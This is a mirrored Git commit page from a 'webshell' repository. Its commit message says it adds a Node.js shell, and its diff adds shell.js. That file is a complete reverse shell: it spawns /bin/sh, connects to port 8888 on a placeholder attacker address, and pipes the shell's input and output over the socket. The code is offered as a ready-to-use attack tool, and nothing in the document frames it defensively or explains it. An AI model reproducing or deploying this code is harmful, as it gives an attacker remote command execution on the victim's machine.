mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
增加nodejs的shell
This commit is contained in:
parent
a0a4b15bdf
commit
f0475d650c
1 changed files with 12 additions and 0 deletions
12
shell.js
Normal file
12
shell.js
Normal file
|
@ -0,0 +1,12 @@
|
|||
(function(){
|
||||
var net = require("net"),
|
||||
cp = require("child_process"),
|
||||
sh = cp.spawn("/bin/sh",[]);
|
||||
var client = new net.Socket();
|
||||
client.connect(8888,"xxx.xxx.xxx.xxx",function(){
|
||||
client.pipe(sh.stdin);
|
||||
sh.stdout.pipe(client);
|
||||
sh.stderr.pipe(client);
|
||||
});
|
||||
return /a/;
|
||||
})();
|
Loading…
Reference in a new issue